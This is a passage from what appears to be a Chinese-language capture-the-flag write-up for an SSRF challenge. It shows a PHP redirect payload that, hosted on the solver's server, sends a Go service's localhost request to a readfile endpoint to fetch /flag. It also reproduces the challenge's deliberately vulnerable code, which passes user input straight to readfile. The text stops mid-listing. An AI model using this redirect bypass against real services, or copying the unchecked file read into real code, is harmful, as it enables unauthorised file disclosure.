0x01.参考博客
https://evoa.me/archives/21/
这篇博客讲的一个类似的漏洞,而且比这题时间早很久,强烈怀疑出题人是参考的这个洞…
evoa大佬太强了
0x02.题解
xxxx的部分为我的vps,vps上的内容为
<?php
header("Location: http://127.0.0.1/index.php?file=/flag");
?>
0x03.题目分析
#index.php
<?php
// php in localhost port 80
readfile($_GET['file']);
?>
可以看出index.php中有readfile函数可以读取文件,但放在了80端口
func vulController(c *gin.Context) {
var url Url
if err := c.ShouldBindJSON(&url); err != nil {
c.JSON(500, gin.H{
"msg": err})
return
}
if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
c.JSON(403, gin.H{
"msg"